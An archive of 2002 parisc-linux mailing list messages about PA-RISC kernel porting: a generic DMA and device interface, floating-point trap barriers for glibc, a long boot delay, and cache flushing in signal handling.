Places change, faces change. Life is so very strange.


From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 09:32:00 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <200211130932.00864.bjorn_helgaas__33225.8745366291$1416621923$gmane$org@hp.com>
References: <20021109060342.GA7798@kroah.com> <buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp> <20021113075223.GZ2106@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621923 16896 80.91.229.3 (22 Nov 2014 02:05:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:23 +0000 (UTC)
Cc: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Greg KH <greg@kroah.com>, Miles Bader <miles@gnu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 09:32:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49FBD4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 09:32:09 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp2b.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 6D26FA00B13; Wed, 13 Nov 2002 11:32:05 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 9E4AC37F5B; Wed, 13 Nov 2002 09:32:03 -0700 (MST)
Original-Received: from eeyore (eeyore.fc.hp.com [15.1.54.199])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 2050545AF; Wed, 13 Nov 2002 09:32:01 -0700 (MST)
User-Agent: KMail/1.4.3
In-Reply-To: <20021113075223.GZ2106@kroah.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16784

On Wednesday 13 November 2002 12:52 am, Greg KH wrote:
> On Wed, Nov 13, 2002 at 04:46:58PM +0900, Miles Bader wrote:
> > Greg KH <greg@kroah.com> writes:
> > > What is the real reason for needing this, pci_alloc_consistent()?  We
> > > have talked about renaming that to dev_alloc_consistent() in the past,
> > > which I think will work for you, right?
> > 
> > This this would end up [or have the ability to] invoking a bus-specific
> > routine at some point, right?  [so that a truly PCI-specific definition
> > could be still be had]
> 
> If that was needed, yes, we should not break that functionality.
> 
> Are there any existing archs that need more than just dma_mask moved to
> struct device out of pci_dev?  Hm, ppc might need a bit more...

Absolutely.  Boxes with multiple IOMMUs (at least ia64, sparc64, parisc)
need to look up the correct IOMMU with which to map the allocated buffer.
Typically this is in the pci_dev sysdata.

Bjorn



From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Wed, 13 Nov 2002 14:22:10 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <20021113192210.GC4970@systemhalted>
References: <200211120413.gAC4DBBB003677@hiauly1.hia.nrc.ca> <200211121544.gACFi8Na004766@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621923 16898 80.91.229.3 (22 Nov 2014 02:05:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	Jim Hull <jim_hull@hp.com>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 12:22:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36D6F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 12:22:01 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18C35W-0001eL-00; Wed, 13 Nov 2002 14:22:10 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	Jim Hull <jim_hull@hp.com>
Content-Disposition: inline
In-Reply-To: <200211121544.gACFi8Na004766@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16785

On Tue, Nov 12, 2002 at 10:44:07AM -0500, John David Anglin wrote:
> > > __asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
> > > 			/* FIXME: is this a proper trap barrier? */
> > > 			"fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0"(d));

So really the fix is to spill into a third register or a memory location
in order to:

1) Prevent reordering and subsequent discard of the insn
2) Trigger the trap since the result of the register is needed

> 1) You probably want to clear the T bit at the beginning of the
>    routine.  This will ensure that you get the correct exception
>    when the first one is raised.  The only way to do this without
>    potentially causing a pending trap to trigger is with a double
>    word store to floating-point register 0.  You can't read register
>    0 before the write without potentially triggering a trap, so
>    you need to know what the current state should be.  See page
>    10-5 of the PA2 arch manual.

Okie, lets see if I have this right:

1) Routine starts
2) Clear T by reading fr0 and writing back with T=0
	= All other pending delayed exceptions are nulled
3) Setup an exception to occur based on requirements
	= insn writes to dX
4) Trap barrier
	= insn where dX is copied to dY (dX!=dY)

> 2) A fcpy insn should raise an exception if it depends on the
>    result of a pending trapping insn (the current code doesn't).
>    It would be best to not use register 0 or the source register
>    for the destination register since in theory the processor
>    would then know the operation is a nop.  Then, the insn could
>    be reordered or discarded.  The fcpy insn is nice since it
>    is non-arithmetic and doesn't cause an invalid operation
>    exception when a NaN is copied.  The fcmp insn isn't quite
>    as nice since it will generate an invalid operation when one
>    of the values is a signaling NaN, or if the low-order bit
>    of the condition code is 1 and one of the values is an NaN.

I liked the fcpy specifically for that reason. It doesn't itself cause a
recursive triggering of more delayed exceptions, eventually filling the
exception queue and delivering an exception anyway ;)

c.



From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LONG pause on boot
Date: Wed, 13 Nov 2002 10:26:43 -0900 (AKST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211131022210.26859-100000@wolf.alaskatech>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621923 16901 80.91.229.3 (22 Nov 2014 02:05:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:23 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 12:26:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wolf.alaskatech (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A3A04829
	for <parisc-linux@parisc-linux.org>; Wed, 13 Nov 2002 12:26:28 -0700 (MST)
Original-Received: from wolf.alaskatech (palinux@wolf.alaskatech [24.237.5.207])
	by wolf.alaskatech (8.12.3/8.12.3/Debian -4) with ESMTP id gADJQhRO028207
	for <parisc-linux@parisc-linux.org>; Wed, 13 Nov 2002 10:26:43 -0900
X-X-Sender: palinux@wolf.alaskatech
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16786

Having brought the C180 back to life... Kernel 2.4.18-pa59 looks, boots
and works normally. I downloaded and compiled 2.4.19-pa24, which froze at
"branching to kernel entry point...". Rechecked config, recompiled, same
result. I left it hung for a few minutes, as I've seen delays here before,
then while searching the web and the list archives for solutions it
started again. Delay was over 10 minutes, pushing 20 perhaps. After it
came up, I ssh'd in and restarted it. Same delay, same place...

Does anyone have an idea as to why such a long delay would occur there?
PDC has console to serial_1, which had a terminal on it. There was no
errors or complaints anywhere in the boot process, and none visible during
the kernel compile. I can provide System.map, config file, etc. if
desired...



From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Broken Cache Flushing in arch/parisc/kernel/signal.c.??
Date: Wed, 13 Nov 2002 20:27:47 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <FDF661FC-F73D-11D6-B07E-0030656F07A2@esiee.fr>
References: <20021113122808.E30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v548)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621924 16906 80.91.229.3 (22 Nov 2014 02:05:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:24 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 12:27:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED28A4832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 12:27:53 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 7E90249C70; Wed, 13 Nov 2002 20:27:49 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id E919F49C21; Wed, 13 Nov 2002 20:27:47 +0100 (CET)
In-Reply-To: <20021113122808.E30392@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.548)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16787

Le mercredi, 13 nov 2002, =E0 13:28 Europe/Paris, Matthew Wilcox a =E9crit=
 :

> On Tue, Nov 12, 2002 at 11:52:34PM -0800, Randolph Chung wrote:
>> this is partly my fault, since i thought we have unbroken cache=20
>> flushing
>> and asked thibaut to check this in... now i see that the original =
code
>> flushes sr3 space, but flush_icache_range() flushes the kernel=20
>> space...
>> oops!
>>
>> perhaps we should just check the old code back in for now?
>
> Can we use
>   void flush_icache_user_range(struct vm_area_struct *vma,
>                         struct page *page, unsigned long addr, int =
len)
> ?  I'm not sure where we'd get the struct page from, though.

I reverted to the previous version until we find that out.
HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J.E.J. Bottomley" <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device 
 interface
Date: Wed, 13 Nov 2002 12:23:48 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <200211131723.gADHNmp02426__11262.9073010341$1416621924$gmane$org@localhost.localdomain>
References: <bjorn_helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621924 16909 80.91.229.3 (22 Nov 2014 02:05:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:24 +0000 (UTC)
Cc: Greg KH <greg@kroah.com>, Miles Bader <miles@gnu.org>,
	"J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn_helgaas@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 10:24:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 245384829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 10:24:18 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id JAA03420
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 09:24:03 -0800
Original-Received: from localhost.localdomain (vpn-233.mtv1.steeleye.com [172.16.1.233])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id JAA03331;
	Wed, 13 Nov 2002 09:23:53 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gADHNmp02426;
	Wed, 13 Nov 2002 12:23:49 -0500
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Bjorn Helgaas <bjorn_helgaas@hp.com> 
   of "Wed, 13 Nov 2002 09:32:00 MST." <200211130932.00864.bjorn_helgaas@hp.com> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16788

> Absolutely.  Boxes with multiple IOMMUs (at least ia64, sparc64,
> parisc) need to look up the correct IOMMU with which to map the
> allocated buffer. Typically this is in the pci_dev sysdata. 

Actually, I think all of the DMA mapping api needs to become bus independent 
and take a struct device * instead of a pci_dev.  How this lookup/mapping is 
done could be abstracted per architecture inside the DMA api internals.

We should also allow devices to do all the setup through bus generic 
functions, but leave open the possibility that the driver may (once it knows 
the bus type) obtain the pci_dev (or whatever) from the struct device if it 
really, really has to muck with bus specific registers.

As far as the SCSI mid layer goes, all we really need from struct device is 
the dma_mask for setting up the I/O bounce buffers.

The simplest way to do all of this is probably to add a pointer to the 
dma_mask in struct device and make it point to the same thing in pci_dev.  If 
we find we need more than this per device, it could become a pointer to a 
generic dma information structure later on.

Drivers need to advertise DMA conformance (at the moment, requires consistent 
allocation, or fully writeback/invalidate compliant)

We should also adopt Adam's pointer approach to the sync/invalidate points so 
we can treat a dma_alloc_consistent failure as a real failure and not clutter 
the code with writeback/invalidate fallbacks.

The above changes would allow me to yank all of the pci_dev specific code out 
of the scsi mid layer, and also introduce a mca_dev type, convert the 53c700 
driver to using the generic dma API and *finally* get us to the point where I 
don't have to use bounce buffers for highmem access on the MCA bus.

Since the 53c700 is also used by parisc (including some machines with 
IOMMUs---which, unfortunately, I don't have access to), it probably makes an 
ideal conversion test case.

This can probably all be wrappered so the current SCSI pci drivers don't 
notice anything wrong.

James




From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LONG pause on boot
Date: Wed, 13 Nov 2002 19:30:18 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20021113193018.P30392@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0211131022210.26859-100000@wolf.alaskatech>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621924 16914 80.91.229.3 (22 Nov 2014 02:05:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:24 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 12:30:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B552483C
	for <parisc-linux@parisc-linux.org>; Wed, 13 Nov 2002 12:30:23 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18C3DO-0002OZ-00; Wed, 13 Nov 2002 19:30:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.44.0211131022210.26859-100000@wolf.alaskatech>; from palinux@alaskatech.org on Wed, Nov 13, 2002 at 10:26:43AM -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16789

On Wed, Nov 13, 2002 at 10:26:43AM -0900, Tom wrote:
> Does anyone have an idea as to why such a long delay would occur there?
> PDC has console to serial_1, which had a terminal on it. There was no
> errors or complaints anywhere in the boot process, and none visible during
> the kernel compile. I can provide System.map, config file, etc. if
> desired...

Yes, it's during device walk.  The support for E class that rbrad wrote
means that every machine with a CCIO suffers.  I suspect this'll get
fixed fairly soon.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LONG pause on boot
Date: Wed, 13 Nov 2002 11:05:51 -0900 (AKST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211131104580.26859-100000@wolf.alaskatech>
References: <20021113193018.P30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621925 16915 80.91.229.3 (22 Nov 2014 02:05:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:25 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 13:05:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wolf.alaskatech (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2125F4829
	for <parisc-linux@parisc-linux.org>; Wed, 13 Nov 2002 13:05:39 -0700 (MST)
Original-Received: from wolf.alaskatech (palinux@wolf.alaskatech [24.237.5.207])
	by wolf.alaskatech (8.12.3/8.12.3/Debian -4) with ESMTP id gADK5qRO028315;
	Wed, 13 Nov 2002 11:05:52 -0900
X-X-Sender: palinux@wolf.alaskatech
In-Reply-To: <20021113193018.P30392@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16790

> On Wed, Nov 13, 2002 at 10:26:43AM -0900, Tom wrote:
> > Does anyone have an idea as to why such a long delay would occur there?
> > PDC has console to serial_1, which had a terminal on it. There was no
> > errors or complaints anywhere in the boot process, and none visible during
> > the kernel compile. I can provide System.map, config file, etc. if
> > desired...

> On Wed, 13 Nov 2002, Matthew Wilcox wrote:
> Yes, it's during device walk.  The support for E class that rbrad wrote
> means that every machine with a CCIO suffers.  I suspect this'll get
> fixed fairly soon.

Then I'll assume it's a "feature", at least until sometime in the 2.4.20
range :-)

Thanks!



From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 13:12:07 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20021113201207.4F49C4829__29785.6135447093$1416621925$gmane$org@dsl2.external.hp.com>
References: <20021109060342.GA7798@kroah.com> <200211091533.gA9FXuW02017@localhost.localdomain> <20021113061310.GD2106@kroah.com> <buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp>  <20021113075223.GZ2106@kroah.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621925 16917 80.91.229.3 (22 Nov 2014 02:05:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:25 +0000 (UTC)
Cc: Miles Bader <miles@gnu.org>,
	"J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Greg KH <greg@kroah.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 13:12:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4F49C4829; Wed, 13 Nov 2002 13:12:07 -0700 (MST)
In-Reply-To: Message from Greg KH <greg@kroah.com> 
   of "Tue, 12 Nov 2002 23:52:23 PST." <20021113075223.GZ2106@kroah.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16791

